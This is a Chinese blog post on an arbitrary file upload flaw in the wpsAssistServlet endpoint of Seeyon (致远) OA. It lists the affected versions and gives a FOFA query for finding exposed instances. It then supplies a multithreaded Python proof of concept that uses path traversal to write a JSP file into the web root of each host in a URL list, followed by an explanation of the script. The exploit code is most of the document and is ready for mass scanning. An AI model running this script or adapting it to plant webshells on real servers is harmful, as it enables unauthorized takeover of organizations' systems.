致远OA文件上传漏洞

wpsAssistServlet 任意文件上传

漏洞描述

致远OA wpsAssistServlet接口存在任意文件上传漏洞,攻击者通过漏洞可以发送特定的请求包上传恶意文件,获取服务器权限

漏洞影响

致远OA A6、A8、A8N (V8.0SP2,V8.1,V8.1SP1)
致远OA G6、G6N (V8.1、V8.1SP1)

网络测绘

app="致远互联-OA" && title="V8.0SP2"

poc

# -*- coding: utf-8 -*-
import requests
from concurrent.futures import ThreadPoolExecutor

def check_url(url):
    target_url = url + "/seeyon/wpsAssistServlet?flag=save&realFileType=../../../../ApacheJetspeed/webapps/ROOT/debugggg.jsp&fileId=2"
    headers = {"Content-Type": "multipart/form-data; boundary=59229605f98b8cf290a7b8908b34616b"}
    data = """--59229605f98b8cf290a7b8908b34616b
Content-Disposition: form-data; name="upload"; filename="123.xls"
Content-Type: application/vnd.ms-excel<% out.println("seeyon_vuln");%>
--59229605f98b8cf290a7b8908b34616b--
"""
    try:
        response = requests.post(target_url, headers=headers, data=data, timeout=5)
        if response.status_code == 200:
            print(f"{url} is vulnerable.")
            with open("result.txt", "a") as f:
                f.write(f"{url} is vulnerable.\n")
    except requests.exceptions.RequestException as e:
        pass

urls = []
with open("urls.txt", "r") as f:
    for line in f:
        urls.append(line.strip())

executor = ThreadPoolExecutor(max_workers=10)
for url in urls:
    executor.submit(check_url, url)

# 等待所有线程执行完毕
executor.shutdown(wait=True)

简单分析一下代码:
1、定义请求头请求体,然后请求,如果返回200,将漏洞地址打印追加写入到文件里,并忽略异常
2、创建一个空列表urls存储urls.txt中读取的URL地址,只读打开txt文件
3、line.strip() 方法去除行首和行尾的空白字符,并将处理后的URL地址添加到 urls 列表中
4、创建一个 ThreadPoolExecutor 实例,使用 max_workers=10 参数设置最大工作线程数为10
5、遍历 urls 列表中的每个URL地址,对于每个URL地址,使用 executor.submit(check_url, url) 方法提交任务给线程池执行。check_url 是一个函数,用于检查指定URL的漏洞
6、循环结束后,调用 executor.shutdown(wait=True) 方法等待所有线程执行完毕。wait=True 参数表示等待所有线程执行完成后再继续执行后续代码

posted @ 2023-08-15 19:45  秋山ling  阅读(516)  评论(0)    收藏  举报